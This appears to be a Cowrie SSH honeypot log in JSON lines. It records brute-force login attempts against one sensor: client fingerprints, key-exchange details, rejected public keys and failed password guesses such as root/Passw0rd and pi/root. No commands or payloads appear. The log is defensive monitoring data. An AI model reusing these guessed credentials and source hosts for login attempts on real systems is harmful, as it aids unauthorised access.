{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:73:c3:dd:67:63:fc:c5:14:bb:74:e1:0d:ce:9e:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1VF6QB3uWEscOOTcLuvcj29VPr2maKIcSBpwbBvU3r1KqIQpPzYpU1tlsZX4oByXd9+blHkRcQQZD1o+RX1JrtsTz4m0jSWcJt/Bt/kTud9uyviJcNGeqF+eg6Jyto8f6APmRF2q3k4SBJEGEyFunk+gJjk7RE51PBtnKgWSZzbhBYdpUiUITWtv2WW1HBvCTmRztzfp/e4yxzAn/UDh5jsn9AWnKTUk/thH0qZTU/RvtVDG5xYnMsAtdLae/eBorIOxN+hCF4sMKk0MBAclUvUd9D6hnHi20CFhI5cJz5cdEsnQNGUS07YQUBZ+R2qXuGGnZtum4mLQDxOnG4Ex/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:73:c3:dd:67:63:fc:c5:14:bb:74:e1:0d:ce:9e:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.384144Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:73:c3:dd:67:63:fc:c5:14:bb:74:e1:0d:ce:9e:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1VF6QB3uWEscOOTcLuvcj29VPr2maKIcSBpwbBvU3r1KqIQpPzYpU1tlsZX4oByXd9+blHkRcQQZD1o+RX1JrtsTz4m0jSWcJt/Bt/kTud9uyviJcNGeqF+eg6Jyto8f6APmRF2q3k4SBJEGEyFunk+gJjk7RE51PBtnKgWSZzbhBYdpUiUITWtv2WW1HBvCTmRztzfp/e4yxzAn/UDh5jsn9AWnKTUk/thH0qZTU/RvtVDG5xYnMsAtdLae/eBorIOxN+hCF4sMKk0MBAclUvUd9D6hnHi20CFhI5cJz5cdEsnQNGUS07YQUBZ+R2qXuGGnZtum4mLQDxOnG4Ex/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.387048Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:da:8b:7a:40:ee:d8:da:72:f4:dd:9c:bd:b3:c1:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9J1Xqk3SMsrzcBvFxiTFcci2mfc4MwNCvmzNrjNMJK4DOUCIlVbaQGmCM1UCgcLOZRnAWMCipQFeDdWCB0YjzUrwj7nKo5TioHrIsDCmznaGAMXknRCsxSxHK/BHqyc2x+1sFklX7pd8rLIQWxVKLyTz5+JqeyuZ1ADwB9hTrUv8sncrzf0l3B+2kTk1DPbXJRJb88QSyFDBzGkKqtMVZquDGMsGt9rcbhbQi813yk+O+PDdBZOky5zBcR58XJK3eDuu75+1xGeLPOmv+hsmxLt2gAwmh7riXdNcq0X0/ToX46jBa2U/WJyDtbU10yhnrWplB5uOHe99RsmaN9CanvLFrURYqx+NAMNYMLEdvJmoMI74YWHQVg6XtoWDuatiuaQ7DvJjZU45A3V4tAS2JubsLKEV0u65mviwX/YS9v/tghFkfGKkyCnq5jFdioFnpbFSzAlvK5mcsqIXrZroJ1HepzW6QwujcqH7SRzbFxRxR85W9t+WuZ8k/METAFgAKSUvHw4VONt7od9fZmX/divEYMwlwwRH60fRVFioPD8dpDOCocjEaz+QJWThxpfFyq6d5OBjAsnNeFHKtkVLoF2YyxYjnaDHOa8iRgwuBBZrJj5KElgAaqj41VmBYmoY94mrIyNgTEqXQ4VPil48vnrsr3pxaV9mFfwkyGB/LHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:da:8b:7a:40:ee:d8:da:72:f4:dd:9c:bd:b3:c1:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.461938Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:da:8b:7a:40:ee:d8:da:72:f4:dd:9c:bd:b3:c1:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9J1Xqk3SMsrzcBvFxiTFcci2mfc4MwNCvmzNrjNMJK4DOUCIlVbaQGmCM1UCgcLOZRnAWMCipQFeDdWCB0YjzUrwj7nKo5TioHrIsDCmznaGAMXknRCsxSxHK/BHqyc2x+1sFklX7pd8rLIQWxVKLyTz5+JqeyuZ1ADwB9hTrUv8sncrzf0l3B+2kTk1DPbXJRJb88QSyFDBzGkKqtMVZquDGMsGt9rcbhbQi813yk+O+PDdBZOky5zBcR58XJK3eDuu75+1xGeLPOmv+hsmxLt2gAwmh7riXdNcq0X0/ToX46jBa2U/WJyDtbU10yhnrWplB5uOHe99RsmaN9CanvLFrURYqx+NAMNYMLEdvJmoMI74YWHQVg6XtoWDuatiuaQ7DvJjZU45A3V4tAS2JubsLKEV0u65mviwX/YS9v/tghFkfGKkyCnq5jFdioFnpbFSzAlvK5mcsqIXrZroJ1HepzW6QwujcqH7SRzbFxRxR85W9t+WuZ8k/METAFgAKSUvHw4VONt7od9fZmX/divEYMwlwwRH60fRVFioPD8dpDOCocjEaz+QJWThxpfFyq6d5OBjAsnNeFHKtkVLoF2YyxYjnaDHOa8iRgwuBBZrJj5KElgAaqj41VmBYmoY94mrIyNgTEqXQ4VPil48vnrsr3pxaV9mFfwkyGB/LHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.465353Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:1c:b2:18:95:44:4b:48:ce:f3:c5:58:f1:78:3a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoC+j+Toxlb0FPdEDsHskUBnzSQvoZiAODGGlTgLj72K9jfkyuSKyjV5NotdlK0cp/e/3pkfrkohDwWHxYDdpuIokowW/w+C+fHucC3/0U9fLW2I0Gkv9eLVbnvCYF6VhFR/jsivpTzqy+bd9bhK+V3mnw4hT8a+IeMBoONd5k/3x+9sK7eQUNLXPkF7ITFFI5b2RFf3sstv2S9CQdKE0H5cybl7GYxo0ZmL9ygcRI0hsGVyhlYOf1CgC/qRprJcb/b8QTjdRDRXk3eCaEkdhDDg6+990EDdB+DXPxRMQHoGfpJMXniH/NtKfTs0Pf8XnA+uzX2O0l4ERg63RimxNvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:1c:b2:18:95:44:4b:48:ce:f3:c5:58:f1:78:3a:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.539180Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:1c:b2:18:95:44:4b:48:ce:f3:c5:58:f1:78:3a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoC+j+Toxlb0FPdEDsHskUBnzSQvoZiAODGGlTgLj72K9jfkyuSKyjV5NotdlK0cp/e/3pkfrkohDwWHxYDdpuIokowW/w+C+fHucC3/0U9fLW2I0Gkv9eLVbnvCYF6VhFR/jsivpTzqy+bd9bhK+V3mnw4hT8a+IeMBoONd5k/3x+9sK7eQUNLXPkF7ITFFI5b2RFf3sstv2S9CQdKE0H5cybl7GYxo0ZmL9ygcRI0hsGVyhlYOf1CgC/qRprJcb/b8QTjdRDRXk3eCaEkdhDDg6+990EDdB+DXPxRMQHoGfpJMXniH/NtKfTs0Pf8XnA+uzX2O0l4ERg63RimxNvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.542533Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:33:8c:e9:1e:bc:ff:a6:88:f9:53:b0:01:7f:58:05","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWgbWIWZFTAKrYD3oRMAD0fq1CPodTyIg+lQrPaHssMzdHFfAuTRPt3m0/N9zEiuMzMX7KToNuI92WnRGQMAmeBxwFWoun3YvDPtHkoer+wxJk+w4X8Soq53/cNXsGF48chZBzD4Eiyv+n+9u7WmHe1e1/LS3RR0t4ZJA3h+jqHAAAAFQDu2hbl/MjiL0BrnO4Rb6auYlWbcwAAAIB3cRvNEmOaHtLAzr3yuMuCbB09xtsaJ9AfKaowWvI5HqKDHygM5eh5mLOsfa4PwFrTrM9Yi98MCRRi9tn4YvwE5guDdHr+1Wn1iE7D4RCXLU/610h37ajx13oGheAZqjCpzw1zyKW3hg7Cx7FWiP/5kWf9TSXmhjrQuwlRvZq4TQAAAIBJ7JwyaCt0eSkfNiqw4KS5sW+54rbOyieyrjXtOXvOZ7Z4i9lDC7s9cfJN45+EKIK/rjunAzLjesPbw8pCDTyPlDMVKqcgdiBMqKVZ6tvUUaBOFLAZslLg2cdDpy25Cshy9bsrkZzV1TJ4Q3+PcT97RoE2Y0FAjQB4vBal0ffzfw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 62:33:8c:e9:1e:bc:ff:a6:88:f9:53:b0:01:7f:58:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.618388Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:33:8c:e9:1e:bc:ff:a6:88:f9:53:b0:01:7f:58:05","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWgbWIWZFTAKrYD3oRMAD0fq1CPodTyIg+lQrPaHssMzdHFfAuTRPt3m0/N9zEiuMzMX7KToNuI92WnRGQMAmeBxwFWoun3YvDPtHkoer+wxJk+w4X8Soq53/cNXsGF48chZBzD4Eiyv+n+9u7WmHe1e1/LS3RR0t4ZJA3h+jqHAAAAFQDu2hbl/MjiL0BrnO4Rb6auYlWbcwAAAIB3cRvNEmOaHtLAzr3yuMuCbB09xtsaJ9AfKaowWvI5HqKDHygM5eh5mLOsfa4PwFrTrM9Yi98MCRRi9tn4YvwE5guDdHr+1Wn1iE7D4RCXLU/610h37ajx13oGheAZqjCpzw1zyKW3hg7Cx7FWiP/5kWf9TSXmhjrQuwlRvZq4TQAAAIBJ7JwyaCt0eSkfNiqw4KS5sW+54rbOyieyrjXtOXvOZ7Z4i9lDC7s9cfJN45+EKIK/rjunAzLjesPbw8pCDTyPlDMVKqcgdiBMqKVZ6tvUUaBOFLAZslLg2cdDpy25Cshy9bsrkZzV1TJ4Q3+PcT97RoE2Y0FAjQB4vBal0ffzfw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.622195Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:96:7c:5c:ca:97:e1:57:01:83:40:c0:85:cc:57:43","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANYifuq+MACM2x2s9NTNRQwTMi2dOMmHhA73TriX0K9B+NxB3D70Bw+pprk4oq/E/dzwh9DvOazTzc+Aqh8eNCn2vPjtBTSw6LSQW0DaHos5j+erBQnRfWeP1OxGNXQwCkE/7ge8scWE9xuT93Js7Qc+LoZZXOj5iB2cZnS5i365AAAAFQDZYymPbwccYsDR7lczLFKwXWco2QAAAIEAhkkxVfmNlnxW1MtFtLg1Co/8SrE7vPkdyefg5vd2jx26V2wKJjfT4W7r1cFjU+PJpauTaDUyBBQQFt6rdLwlarSTLzPhigUiINVjnh0+BBboPrrf7+iUVyjoW9ONZbGAG6ZeZ26qFeEAw/0dI+oCBC73gbE/DVLCvDV3i8BubLoAAACAGpHkv/BYFQc4gOwfbgk15yVf7gw3WmDfry3ej8o/84nj0sisG+6UBNy7jYFMvZKOHEbFX5Xl4Sqec+9w5ah/RNhMpvGHD30zawBx0IUI/Q+gFvxGsgZEQiagWl61lgV1PJqpkNGw+jLxmxDuZvWGupJ/ggDGtjTzvtMaXQ4OLL8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c2:96:7c:5c:ca:97:e1:57:01:83:40:c0:85:cc:57:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.695404Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:96:7c:5c:ca:97:e1:57:01:83:40:c0:85:cc:57:43","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANYifuq+MACM2x2s9NTNRQwTMi2dOMmHhA73TriX0K9B+NxB3D70Bw+pprk4oq/E/dzwh9DvOazTzc+Aqh8eNCn2vPjtBTSw6LSQW0DaHos5j+erBQnRfWeP1OxGNXQwCkE/7ge8scWE9xuT93Js7Qc+LoZZXOj5iB2cZnS5i365AAAAFQDZYymPbwccYsDR7lczLFKwXWco2QAAAIEAhkkxVfmNlnxW1MtFtLg1Co/8SrE7vPkdyefg5vd2jx26V2wKJjfT4W7r1cFjU+PJpauTaDUyBBQQFt6rdLwlarSTLzPhigUiINVjnh0+BBboPrrf7+iUVyjoW9ONZbGAG6ZeZ26qFeEAw/0dI+oCBC73gbE/DVLCvDV3i8BubLoAAACAGpHkv/BYFQc4gOwfbgk15yVf7gw3WmDfry3ej8o/84nj0sisG+6UBNy7jYFMvZKOHEbFX5Xl4Sqec+9w5ah/RNhMpvGHD30zawBx0IUI/Q+gFvxGsgZEQiagWl61lgV1PJqpkNGw+jLxmxDuZvWGupJ/ggDGtjTzvtMaXQ4OLL8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.698390Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.771998Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:38.095379Z","src_ip":"45.156.87.147","session":"86f00a22cac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51676,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1bcffd3c4a4","protocol":"ssh","message":"New connection: 45.156.87.147:51676 (10.17.0.5:22) [session: c1bcffd3c4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:42.355616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:42.360079Z","src_ip":"45.156.87.147","session":"c1bcffd3c4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:42.446114Z","src_ip":"45.156.87.147","session":"c1bcffd3c4a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:42.703238Z","src_ip":"45.156.87.147","session":"c1bcffd3c4a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:43.816958Z","src_ip":"45.156.87.147","session":"c1bcffd3c4a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51688,"dst_ip":"10.17.0.5","dst_port":22,"session":"20cb6217472c","protocol":"ssh","message":"New connection: 45.156.87.147:51688 (10.17.0.5:22) [session: 20cb6217472c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:48.090630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:48.095897Z","src_ip":"45.156.87.147","session":"20cb6217472c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:48.179681Z","src_ip":"45.156.87.147","session":"20cb6217472c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"root","message":"login attempt [pi/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:48.425107Z","src_ip":"45.156.87.147","session":"20cb6217472c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:49.510156Z","src_ip":"45.156.87.147","session":"20cb6217472c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7416,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c2fdb0eb597","protocol":"ssh","message":"New connection: 38.93.206.2:7416 (159.203.135.109:22) [session: 8c2fdb0eb597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:50.920696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:50.925202Z","src_ip":"38.93.206.2","session":"8c2fdb0eb597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:50.975527Z","src_ip":"38.93.206.2","session":"8c2fdb0eb597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"115115","message":"login attempt [root/115115] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:51.143482Z","src_ip":"38.93.206.2","session":"8c2fdb0eb597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:52.207517Z","src_ip":"38.93.206.2","session":"8c2fdb0eb597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":35208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a624f56dc0e4","protocol":"ssh","message":"New connection: 8.219.200.1:35208 (10.17.0.5:22) [session: a624f56dc0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:53.609943Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40114,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26a0d267798","protocol":"ssh","message":"New connection: 45.156.87.147:40114 (10.17.0.5:22) [session: b26a0d267798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:53.638748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:53.642829Z","src_ip":"45.156.87.147","session":"b26a0d267798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:53.732381Z","src_ip":"45.156.87.147","session":"b26a0d267798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:54.089748Z","src_ip":"45.156.87.147","session":"b26a0d267798","protocol":"ssh"}
